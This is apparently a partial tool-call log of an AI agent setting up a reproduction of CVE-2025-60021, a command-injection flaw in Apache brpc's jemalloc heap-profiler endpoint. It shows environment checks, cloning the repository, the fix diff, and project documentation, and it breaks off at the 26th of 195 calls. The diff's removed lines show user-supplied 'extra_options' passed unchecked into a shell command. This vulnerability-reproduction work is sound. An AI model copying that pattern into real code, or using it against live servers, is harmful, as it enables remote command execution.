{
  "run_id": "repro-1768952060343",
  "agent": "Repro",
  "backend": "local",
  "call_count": 195,
  "calls": [
    {
      "index": 1,
      "name": "list_memory_items",
      "timestamp": "2026-01-20T23:34:21.938668Z",
      "duration": 2.5530002858431544e-06,
      "request": {},
      "response": {
        "items": [],
        "count": 0
      }
    },
    {
      "index": 2,
      "name": "list_memory_items",
      "timestamp": "2026-01-20T23:34:23.997772Z",
      "duration": 1.9530002646206412e-06,
      "request": {},
      "response": {
        "items": [],
        "count": 0
      }
    },
    {
      "index": 3,
      "name": "list_memory_items",
      "timestamp": "2026-01-20T23:34:26.122310Z",
      "duration": 2.3820002752472647e-06,
      "request": {},
      "response": {
        "items": [],
        "count": 0
      }
    },
    {
      "index": 4,
      "name": "list_memory_items",
      "timestamp": "2026-01-20T23:34:28.608950Z",
      "duration": 1.8840000848285854e-06,
      "request": {},
      "response": {
        "items": [],
        "count": 0
      }
    },
    {
      "index": 5,
      "name": "list_memory_items",
      "timestamp": "2026-01-20T23:34:30.778821Z",
      "duration": 2.0770003175130114e-06,
      "request": {},
      "response": {
        "items": [],
        "count": 0
      }
    },
    {
      "index": 6,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:34:33.813548Z",
      "duration": 0.0118981900000108,
      "request": {
        "command": "ls -la /workspace",
        "timeout": 60.0
      },
      "response": {
        "returncode": 2,
        "stdout": "",
        "stderr": "ls: cannot access '/workspace': No such file or directory\n",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 7,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:34:36.389048Z",
      "duration": 0.005381578999731573,
      "request": {
        "command": "pwd",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 8,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:34:37.978468Z",
      "duration": 0.013909475000218663,
      "request": {
        "command": "ls -la /home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "total 19\ndrwxr-xr-x 4 root root 4096 Jan 20 23:34 .\ndrwxr-xr-x 4 root root 4096 Jan 20 23:34 ..\ndrwxr-xr-x 6 root root 4096 Jan 20 23:34 cve-2025-60021\ndrwxr-xr-x 2 root root 4096 Jan 20 23:34 repo\n-rw-r--r-- 1 root root  503 Jan 20 23:34 trace.json\n-rw-r--r-- 1 root root 2029 Jan 20 23:34 trace_spans.jsonl\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 9,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:34:39.715682Z",
      "duration": 0.013987724999878992,
      "request": {
        "command": "ls -la /home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/repo",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "total 8\ndrwxr-xr-x 2 root root 4096 Jan 20 23:34 .\ndrwxr-xr-x 4 root root 4096 Jan 20 23:34 ..\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 10,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:34:42.695090Z",
      "duration": 0.01514036299977306,
      "request": {
        "command": "ls -la /home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021/artifacts/prepped",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "total 8\ndrwxr-xr-x 2 root root 4096 Jan 20 23:34 .\ndrwxr-xr-x 3 root root 4096 Jan 20 23:34 ..\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 11,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:34:46.461271Z",
      "duration": 0.011882783000146446,
      "request": {
        "command": "git --version",
        "timeout": 5
      },
      "response": {
        "returncode": 0,
        "stdout": "git version 2.43.0\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 12,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:34:46.478575Z",
      "duration": 0.010188104000008025,
      "request": {
        "command": "python3 --version",
        "timeout": 5
      },
      "response": {
        "returncode": 0,
        "stdout": "Python 3.11.14\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 13,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:34:46.517687Z",
      "duration": 0.03345565300014641,
      "request": {
        "command": "curl --version",
        "timeout": 5
      },
      "response": {
        "returncode": 0,
        "stdout": "curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7\nRelease-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.6\nProtocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp\nFeatures: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 14,
      "name": "validate_environment",
      "timestamp": "2026-01-20T23:34:46.524753Z",
      "duration": 0.0753666600003271,
      "request": {
        "requirements": [
          "git",
          "python",
          "bazel",
          "make",
          "gcc",
          "curl"
        ]
      },
      "response": {
        "available": [
          "git",
          "python",
          "curl"
        ],
        "missing": [
          "bazel",
          "make",
          "gcc"
        ],
        "details": {
          "git": "v2.43.0",
          "python": "v3.11.14",
          "bazel": "Unknown requirement: bazel",
          "make": "Unknown requirement: make",
          "gcc": "Unknown requirement: gcc",
          "curl": "v8.5.0"
        },
        "install_hints": null
      }
    },
    {
      "index": 15,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:35:09.130536Z",
      "duration": 19.337687793999976,
      "request": {
        "command": "git clone https://github.com/apache/brpc.git /home/user/pruva/work/brpc",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "",
        "stderr": "Cloning into '/home/user/pruva/work/brpc'...\n",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 16,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:35:13.596894Z",
      "duration": 0.03700701400020989,
      "request": {
        "command": "apt-get --version | head -n 1",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "apt 2.8.3 (amd64)\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 17,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:35:22.515788Z",
      "duration": 5.807430935999946,
      "request": {
        "command": "apt-get update",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "Hit:1 http://archive.ubuntu.com/ubuntu noble InRelease\nHit:2 https://storage.googleapis.com/bazel-apt stable InRelease\nGet:3 http://archive.ubuntu.com/ubuntu noble-updates InRelease [126 kB]\nHit:4 http://archive.ubuntu.com/ubuntu noble-backports InRelease\nHit:5 http://security.ubuntu.com/ubuntu noble-security InRelease\nHit:6 https://ppa.launchpadcontent.net/deadsnakes/ppa/ubuntu noble InRelease\nHit:7 https://ppa.launchpadcontent.net/ondrej/php/ubuntu noble InRelease\nGet:8 http://archive.ubuntu.com/ubuntu noble-updates/multiverse amd64 Packages [35.9 kB]\nGet:9 http://archive.ubuntu.com/ubuntu noble-updates/universe amd64 Packages [1966 kB]\nGet:10 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 Packages [2147 kB]\nFetched 4274 kB in 4s (1203 kB/s)\nReading package lists...\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 18,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:35:26.252599Z",
      "duration": 1.8746357630002422,
      "request": {
        "command": "apt-get install -y build-essential bazel",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "Reading package lists...\nBuilding dependency tree...\nReading state information...\nbuild-essential is already the newest version (12.10ubuntu1).\nbazel is already the newest version (9.0.0).\n0 upgraded, 0 newly installed, 0 to remove and 31 not upgraded.\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 19,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:35:29.489600Z",
      "duration": 0.019501464000313717,
      "request": {
        "command": "git -C /home/user/pruva/work/brpc tag | tail -n 5",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "1.6.1\n1.7.0\n1.8.0\n1.9.0\nv0.9.0\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 20,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:35:32.797456Z",
      "duration": 0.019973089999894,
      "request": {
        "command": "git -C /home/user/pruva/work/brpc tag | grep -E '1\\.1[0-5]' | tail -n 10",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "1.10.0\n1.11.0\n1.12.0\n1.12.1\n1.13.0\n1.14.0\n1.14.1\n1.15.0\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 21,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:35:35.864695Z",
      "duration": 0.4797773440000128,
      "request": {
        "command": "grep -R \"pprof/heap\" -n /home/user/pruva/work/brpc | head -n 20",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "/home/user/pruva/work/brpc/docs/cn/heap_profiler.md:12:   $ tools/pprof --text localhost:9002/pprof/heap           \n/home/user/pruva/work/brpc/docs/cn/heap_profiler.md:13:   Fetching /pprof/heap profile from http://localhost:9002/pprof/heap to\n/home/user/pruva/work/brpc/docs/cn/heap_profiler.md:24:$ tools/pprof --text localhost:9002/pprof/heap\n/home/user/pruva/work/brpc/docs/cn/heap_profiler.md:58:$ tools/pprof --text db-rpc-dev00.db01:8765/pprof/heap    \n/home/user/pruva/work/brpc/docs/cn/heap_profiler.md:59:Fetching /pprof/heap profile from http://db-rpc-dev00.db01:8765/pprof/heap to\n/home/user/pruva/work/brpc/docs/cn/heap_profiler.md:135:- jeprof命令`jeprof ip:port/pprof/heap`。\n/home/user/pruva/work/brpc/docs/cn/heap_profiler.md:139:- curl生成text格式`curl ip:port/pprof/heap?display=text`。\n/home/user/pruva/work/brpc/docs/cn/heap_profiler.md:143:- curl生成svg图片格式`curl ip:port/pprof/heap?display=svg`。\n/home/user/pruva/work/brpc/docs/cn/heap_profiler.md:147:- 分配对象个数`curl ip:port/pprof/heap?display=svg&extra_options=inuse_objects`。\n/home/user/pruva/work/brpc/docs/cn/heap_profiler.md:149:- curl生成火焰图`curl ip:port/pprof/heap?display=flamegraph`。需配置env FLAMEGRAPH_PL_PATH=/xxx/flamegraph.pl，[flamegraph](https://github.com/brendangregg/FlameGraph)\n/home/user/pruva/work/brpc/docs/cn/heap_profiler.md:153:- curl获取内存统计信息`curl ip:port/pprof/heap?display=stats&opts=Ja`或`curl ip:port/memory?opts=Ja`，更多opts请参考[opts](https://github.com/jemalloc/jemalloc/blob/dev/include/jemalloc/internal/stats.h#L9)。\n/home/user/pruva/work/brpc/tools/pprof:103:my $HEAP_PAGE = \"/pprof/heap\";\n/home/user/pruva/work/brpc/src/brpc/builtin/pprof_perl.cpp:67:        \"my $HEAP_PAGE = \\\"/pprof/heap\\\";\\n\"\n/home/user/pruva/work/brpc/src/brpc/details/jemalloc_profiler.cpp:188:    // http:ip:port/pprof/heap?display=(text|svg|stats|flamegraph)&extra_options=(inuse_space|inuse_objects..)\n/home/user/pruva/work/brpc/src/brpc/details/jemalloc_profiler.cpp:194:    // support ip:port/pprof/heap?display=stats\n/home/user/pruva/work/brpc/src/brpc/details/jemalloc_profiler.cpp:215:    // support jeprof ip:port/pprof/heap\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 22,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:35:38.002704Z",
      "duration": 0.01892525299990666,
      "request": {
        "command": "git -C /home/user/pruva/work/brpc diff 1.14.1..1.15.0 -- src/brpc/details/jemalloc_profiler.cpp",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "diff --git a/src/brpc/details/jemalloc_profiler.cpp b/src/brpc/details/jemalloc_profiler.cpp\nindex c14d5490..fdd06fb4 100644\n--- a/src/brpc/details/jemalloc_profiler.cpp\n+++ b/src/brpc/details/jemalloc_profiler.cpp\n@@ -166,6 +166,23 @@ static int JeProfileReset(size_t lg_sample) {\n     return 0;\n }\n \n+// https://github.com/jemalloc/jemalloc/blob/5.3.0/bin/jeprof.in#L211-L222\n+static const std::unordered_set<const char*> g_extra_options_set = {\n+    \"inuse_space\", \"inuse_objects\", \"alloc_space\",\n+    \"alloc_objects\", \"show_bytes\", \"drop_negative\",\n+    \"total_delay\", \"contentions\", \"mean_delay\"\n+};\n+\n+std::string GlobalExtraOptionsString() {\n+    std::string result;\n+    result.reserve(64);\n+    for (const auto& option : g_extra_options_set) {\n+        result.append(option);\n+        result.append(\" \");\n+    }\n+    return result;\n+}\n+\n void JeControlProfile(Controller* cntl) {\n     const brpc::URI& uri = cntl->http_request().uri();\n     // http:ip:port/pprof/heap?display=(text|svg|stats|flamegraph)&extra_options=(inuse_space|inuse_objects..)\n@@ -228,13 +245,20 @@ void JeControlProfile(Controller* cntl) {\n     }\n     const std::string process_file(process_path, len);\n \n-    std::string cmd_str = jeprof + \" \" + process_file + \" \" + prof_name;\n+    std::string cmd_str = butil::string_printf(\n+        \"%s %s %s\", jeprof.c_str(), process_file.c_str(), prof_name.c_str());\n \n     // https://github.com/jemalloc/jemalloc/blob/5.3.0/bin/jeprof.in#L211-L222\n     // e.g: inuse_space, contentions\n     const std::string* uri_extra_options = uri.GetQuery(\"extra_options\");\n     if (uri_extra_options != nullptr && !uri_extra_options->empty()) {\n-        cmd_str += \" --\" + *uri_extra_options + \" \";\n+        if (g_extra_options_set.count(uri_extra_options->c_str()) > 0) {\n+            butil::string_appendf(&cmd_str, \" --%s\", uri_extra_options->c_str());\n+        } else {\n+            static std::string g_options_str = GlobalExtraOptionsString();\n+            LOG(WARNING) << \"Unsupported jemalloc options=\" << *uri_extra_options\n+                         << \", only support [\" << g_options_str << \"]\";\n+        }\n     }\n \n     bool display_img = false;\n@@ -244,12 +268,14 @@ void JeControlProfile(Controller* cntl) {\n     } else if (*uri_display == \"flamegraph\") {\n         const char* flamegraph_tool = getenv(\"FLAMEGRAPH_PL_PATH\");\n         if (!flamegraph_tool) {\n-            LOG(WARNING) << \" display: \" << *uri_display << \" invalid, env FLAMEGRAPH_PL_PATH invalid\";\n+            LOG(WARNING) << \" display: \" << *uri_display\n+                         << \" invalid, env FLAMEGRAPH_PL_PATH invalid\";\n             buf.append(\"\\ndisplay:\" + *uri_display + \" invalid, env FLAMEGRAPH_PL_PATH invalid\"); \n             return;\n         }\n         const int width_size = FLAGS_max_flame_graph_width > 0 ? FLAGS_max_flame_graph_width : 1200;\n-        cmd_str += \" --collapsed | \" + std::string(flamegraph_tool) + \" --colors mem --width \" + std::to_string(width_size);\n+        butil::string_appendf(&cmd_str, \" --collapsed | %s --colors mem --width %d\",\n+                              flamegraph_tool, width_size);\n         display_img = true;\n     } else if (*uri_display == \"text\") {\n         cmd_str += \" --text \";\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 23,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:35:44.435322Z",
      "duration": 0.012133749999975407,
      "request": {
        "command": "sed -n '1,220p' /home/user/pruva/work/brpc/docs/cn/heap_profiler.md",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "brpc可以分析内存是被哪些函数占据的。heap profiler的原理是每分配满一些内存就采样调用处的栈，“一些”由环境变量TCMALLOC_SAMPLE_PARAMETER控制，默认524288，即512K字节。根据栈表现出的函数调用关系汇总为我们看到的结果图。在实践中heap profiler对原程序的影响不明显。\n\n# 开启方法\n\n1. 链接`libtcmalloc_and_profiler.a`\n\n   1. 如果tcmalloc使用frame pointer而不是libunwind回溯栈，请确保在CXXFLAGS或CFLAGS中加上`-fno-omit-frame-pointer`，否则函数间的调用关系会丢失，最后产生的图片中都是彼此独立的函数方框。\n\n2. 在shell中`export TCMALLOC_SAMPLE_PARAMETER=524288`。该变量指每分配这么多字节内存时做一次统计，默认为0，代表不开启内存统计。[官方文档](http://goog-perftools.sourceforge.net/doc/tcmalloc.html)建议设置为524288。这个变量也可在运行前临时设置，如`TCMALLOC_SAMPLE_PARAMETER=524288 ./server`。如果没有这个环境变量，可能会看到这样的结果：\n\n   ```\n   $ tools/pprof --text localhost:9002/pprof/heap           \n   Fetching /pprof/heap profile from http://localhost:9002/pprof/heap to\n     /home/gejun/pprof/echo_server.1419559063.localhost.pprof.heap\n   Wrote profile to /home/gejun/pprof/echo_server.1419559063.localhost.pprof.heap\n   /home/gejun/pprof/echo_server.1419559063.localhost.pprof.heap: header size >= 2**16\n   ```\n\n3. 如果只是brpc client或没有使用brpc，看[这里](dummy_server.md)。 \n\n注意要关闭Server端的认证，否则可能会看到这个：\n\n```\n$ tools/pprof --text localhost:9002/pprof/heap\nUse of uninitialized value in substitution (s///) at tools/pprof line 2703.\nhttp://localhost:9002/pprof/symbol doesn't exist\n```\n\nserver端可能会有这样的日志：\n\n```\nFATAL: 12-26 10:01:25:   * 0 [src/brpc/policy/giano_authenticator.cpp:65][4294969345] Giano fails to verify credentical, 70003\nWARNING: 12-26 10:01:25:   * 0 [src/brpc/input_messenger.cpp:132][4294969345] Authentication failed, remote side(127.0.0.1:22989) of sockfd=5, close it\n```\n\n# 图示\n\n![img](../images/heap_profiler_1.png)\n\n左上角是当前程序通过malloc分配的内存总量，顺着箭头上的数字可以看到内存来自哪些函数。方框内第一个百分比是本函数的内存占用比例, 第二个百分比是本函数及其子函数的内存占用比例\n\n点击左上角的text选择框可以查看文本格式的结果，有时候这种按分配量排序的形式更方便。\n\n![img](../images/heap_profiler_2.png)\n\n左上角的两个选择框作用分别是：\n\n- View：当前正在看的profile。选择\\<new profile\\>表示新建一个。新建完毕后，View选择框中会出现新profile，URL也会被修改为对应的地址。这意味着你可以通过粘贴URL分享结果，点击链接的人将看到和你一模一样的结果，而不是重做profiling的结果。你可以在框中选择之前的profile查看。历史profiie保留最近的32个，可通过[--max_profiles_kept](http://brpc.baidu.com:8765/flags/max_profiles_kept)调整。\n- Diff：和选择的profile做对比。<none>表示什么都不选。如果你选择了之前的某个profile，那么将看到View框中的profile相比Diff框中profile的变化量。\n\n下图演示了勾选Diff和Text的效果。\n\n![img](../images/heap_profiler_3.gif)\n\n在Linux下，你也可以使用pprof脚本（tools/pprof）在命令行中查看文本格式结果：\n\n```\n$ tools/pprof --text db-rpc-dev00.db01:8765/pprof/heap    \nFetching /pprof/heap profile from http://db-rpc-dev00.db01:8765/pprof/heap to\n  /home/gejun/pprof/play_server.1453216025.db-rpc-dev00.db01.pprof.heap\nWrote profile to /home/gejun/pprof/play_server.1453216025.db-rpc-dev00.db01.pprof.heap\nAdjusting heap profiles for 1-in-524288 sampling rate\nHeap version 2\nTotal: 38.9 MB\n    35.8  92.0%  92.0%     35.8  92.0% ::cpp_alloc\n     2.1   5.4%  97.4%      2.1   5.4% butil::FlatMap\n     0.5   1.3%  98.7%      0.5   1.3% butil::IOBuf::append\n     0.5   1.3% 100.0%      0.5   1.3% butil::IOBufAsZeroCopyOutputStream::Next\n     0.0   0.0% 100.0%      0.6   1.5% MallocExtension::GetHeapSample\n     0.0   0.0% 100.0%      0.5   1.3% ProfileHandler::Init\n     0.0   0.0% 100.0%      0.5   1.3% ProfileHandlerRegisterCallback\n     0.0   0.0% 100.0%      0.5   1.3% __do_global_ctors_aux\n     0.0   0.0% 100.0%      1.6   4.2% _end\n     0.0   0.0% 100.0%      0.5   1.3% _init\n     0.0   0.0% 100.0%      0.6   1.5% brpc::CloseIdleConnections\n     0.0   0.0% 100.0%      1.1   2.9% brpc::GlobalUpdate\n     0.0   0.0% 100.0%      0.6   1.5% brpc::PProfService::heap\n     0.0   0.0% 100.0%      1.9   4.9% brpc::Socket::Create\n     0.0   0.0% 100.0%      2.9   7.4% brpc::Socket::Write\n     0.0   0.0% 100.0%      3.8   9.7% brpc::Span::CreateServerSpan\n     0.0   0.0% 100.0%      1.4   3.5% brpc::SpanQueue::Push\n     0.0   0.0% 100.0%      1.9   4.8% butil::ObjectPool\n     0.0   0.0% 100.0%      0.8   2.0% butil::ResourcePool\n     0.0   0.0% 100.0%      1.0   2.6% butil::iobuf::tls_block\n     0.0   0.0% 100.0%      1.0   2.6% bthread::TimerThread::Bucket::schedule\n     0.0   0.0% 100.0%      1.6   4.1% bthread::get_stack\n     0.0   0.0% 100.0%      4.2  10.8% bthread_id_create\n     0.0   0.0% 100.0%      1.1   2.9% bvar::Variable::describe_series_exposed\n     0.0   0.0% 100.0%      1.0   2.6% bvar::detail::AgentGroup\n     0.0   0.0% 100.0%      0.5   1.3% bvar::detail::Percentile::operator\n     0.0   0.0% 100.0%      0.5   1.3% bvar::detail::PercentileSamples\n     0.0   0.0% 100.0%      0.5   1.3% bvar::detail::Sampler::schedule\n     0.0   0.0% 100.0%      6.5  16.8% leveldb::Arena::AllocateNewBlock\n     0.0   0.0% 100.0%      0.5   1.3% leveldb::VersionSet::LogAndApply\n     0.0   0.0% 100.0%      4.2  10.8% pthread_mutex_unlock\n     0.0   0.0% 100.0%      0.5   1.3% pthread_once\n     0.0   0.0% 100.0%      0.5   1.3% std::_Rb_tree\n     0.0   0.0% 100.0%      1.5   3.9% std::basic_string\n     0.0   0.0% 100.0%      3.5   9.0% std::string::_Rep::_S_create\n```\n\nbrpc还提供一个类似的growth profiler分析内存的分配去向（不考虑释放）。 \n\n![img](../images/growth_profiler.png)\n\n# MacOS的额外配置\n\n1. 安装[standalone pprof](https://github.com/google/pprof)，并把下载的pprof二进制文件路径写入环境变量GOOGLE_PPROF_BINARY_PATH中\n2. 安装llvm-symbolizer（将函数符号转化为函数名），直接用brew安装即可：`brew install llvm`\n\n# Jemalloc Heap Profiler\n\n## 开启方法\n\n1. 编译[jemalloc](https://github.com/jemalloc/jemalloc)时需--enable-prof以支持profiler, 安装完成后bin目录下会有jeprof文件。\n2. 启动进程前最好配置env `JEPROF_FILE=/xxx/jeprof`，否则进程默认用$PATH里的jeprof解析。\n3. 进程开启profiler：\n  - 启动进程并开启profiler功能：`MALLOC_CONF=\"prof:true\" LD_PRELOAD=/xxx/lib/libjemalloc.so ./bin/test_server`，MALLOC_CONF是env项，prof:true只做一些初始化动作，并不会采样，但[prof_active](https://jemalloc.net/jemalloc.3.html#opt.prof_active)默认是true，所以进程启动就会采样。\n  - 若静态链接jemalloc：`MALLOC_CONF=\"prof:true\" ./bin/test_server`。\n  - 或通过下面的gflags控制，gflags不会反应MALLOC_CONF值。\n4. 相关gflags说明：\n  - FLAGS_je_prof_active：true:开启采样，false:关闭采样。\n  - FLAGS_je_prof_dump：修改值会生成heap文件，用于手动操作jeprof分析。\n  - FLAGS_je_prof_reset：清理已采样数据，并且动态设置采样率，[默认](https://jemalloc.net/jemalloc.3.html#opt.lg_prof_sample)2^19B（512K），对性能影响可忽略。\n5. 若要做memory leak:\n  - `MALLOC_CONF=\"prof:true,prof_leak:true,prof_final:true\" LD_PRELOAD=/xxx/lib/libjemalloc.so ./bin/test_server` ，进程退出时生成heap文件。\n  - 注：可`kill pid`优雅退出，不可`kill -9 pid`；可用`FLAGS_graceful_quit_on_sigterm=true FLAGS_graceful_quit_on_sighup=true`来支持优雅退出。\n\n注：\n  - 每次dump的都是从采样至今的所有数据，若触发了reset，接来下dump的是从reset至今的所有数据，方便做diff。\n  - 更多jemalloc profiler选项请参考[官网](https://jemalloc.net/jemalloc.3.html)，如`prof_leak_error:true`则检测到内存泄漏，进程立即退出。\n\n## 样例\n\n- jeprof命令`jeprof ip:port/pprof/heap`。\n\n![img](../images/cmd_jeprof_text.png)\n\n- curl生成text格式`curl ip:port/pprof/heap?display=text`。\n\n![img](../images/curl_jeprof_text.png)\n\n- curl生成svg图片格式`curl ip:port/pprof/heap?display=svg`。\n\n![img](../images/curl_jeprof_svg.png)\n\n- 分配对象个数`curl ip:port/pprof/heap?display=svg&extra_options=inuse_objects`。\n\n- curl生成火焰图`curl ip:port/pprof/heap?display=flamegraph`。需配置env FLAMEGRAPH_PL_PATH=/xxx/flamegraph.pl，[flamegraph](https://github.com/brendangregg/FlameGraph)\n\n![img](../images/curl_jeprof_flamegraph.png)\n\n- curl获取内存统计信息`curl ip:port/pprof/heap?display=stats&opts=Ja`或`curl ip:port/memory?opts=Ja`，更多opts请参考[opts](https://github.com/jemalloc/jemalloc/blob/dev/include/jemalloc/internal/stats.h#L9)。\n\n![img](../images/je_stats_print.png)\n\n - 内存使用量可关注:\n   1. jemalloc.stats下的\n     - [resident](https://jemalloc.net/jemalloc.3.html#stats.resident)\n     - [metadata](https://jemalloc.net/jemalloc.3.html#stats.metadata)\n     - [allocated](https://jemalloc.net/jemalloc.3.html#stats.allocated)：jeprof分析的就是这部分内存。\n     - [active](https://jemalloc.net/jemalloc.3.html#stats.active)：active - allocated ≈ unuse。\n   2. stats.arenas下的：\n     - [resident](https://jemalloc.net/jemalloc.3.html#stats.arenas.i.resident)\n     - [pactive](https://jemalloc.net/jemalloc.3.html#stats.arenas.i.pactive)\n     - [base](https://jemalloc.net/jemalloc.3.html#stats.arenas.i.base)：含义近似metadata\n     - [small.allocated](https://jemalloc.net/jemalloc.3.html#stats.arenas.i.small.allocated)\n     - [large.allocated](https://jemalloc.net/jemalloc.3.html#stats.arenas.i.large.allocated)：arena allocated ≈ small.allocated + large.allocated\n\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 24,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:35:52.685835Z",
      "duration": 1.6071449539999776,
      "request": {
        "command": "apt-get install -y libjemalloc-dev",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "Reading package lists...\nBuilding dependency tree...\nReading state information...\nlibjemalloc-dev is already the newest version (5.3.0-2build1).\n0 upgraded, 0 newly installed, 0 to remove and 31 not upgraded.\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 25,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:35:55.911231Z",
      "duration": 0.01762168400000519,
      "request": {
        "command": "which jeprof || true; ls -la /usr/bin/jeprof || true",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "/usr/bin/jeprof\n-rwxr-xr-x 1 root root 182455 Apr 18  2024 /usr/bin/jeprof\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 26,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:36:01.577355Z",
      "duration": 0.4072249869996085,
      "request": {
        "command": "grep -R \"jemalloc\" -n /home/user/pruva/work/brpc/BUILD* /home/user/pruva/work/brpc -m 5",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "/home/user/pruva/work/brpc/docs/cn/memory_management.md:6:一般的应用可以使用[tcmalloc](http://goog-perftools.sourceforge.net/doc/tcmalloc.html)、[jemalloc](https://github.com/jemalloc/jemalloc)等成熟的内存分配方案，但这对于较为底层，关注性能长尾的应用是不够的。多线程框架广泛地通过传递对象的ownership来让问题异步化，如何让分配这些小对象的开销变的更小是值得研究的问题。其中的一个特点较为显著：\n/home/user/pruva/work/brpc/docs/cn/heap_profiler.md:115:1. 编译[jemalloc](https://github.com/jemalloc/jemalloc)时需--enable-prof以支持profiler, 安装完成后bin目录下会有jeprof文件。\n/home/user/pruva/work/brpc/docs/cn/heap_profiler.md:118:  - 启动进程并开启profiler功能：`MALLOC_CONF=\"prof:true\" LD_PRELOAD=/xxx/lib/libjemalloc.so ./bin/test_server`，MALLOC_CONF是env项，prof:true只做一些初始化动作，并不会采样，但[prof_active](https://jemalloc.net/jemalloc.3.html#opt.prof_active)默认是true，所以进程启动就会采样。\n/home/user/pruva/work/brpc/docs/cn/heap_profiler.md:119:  - 若静态链接jemalloc：`MALLOC_CONF=\"prof:true\" 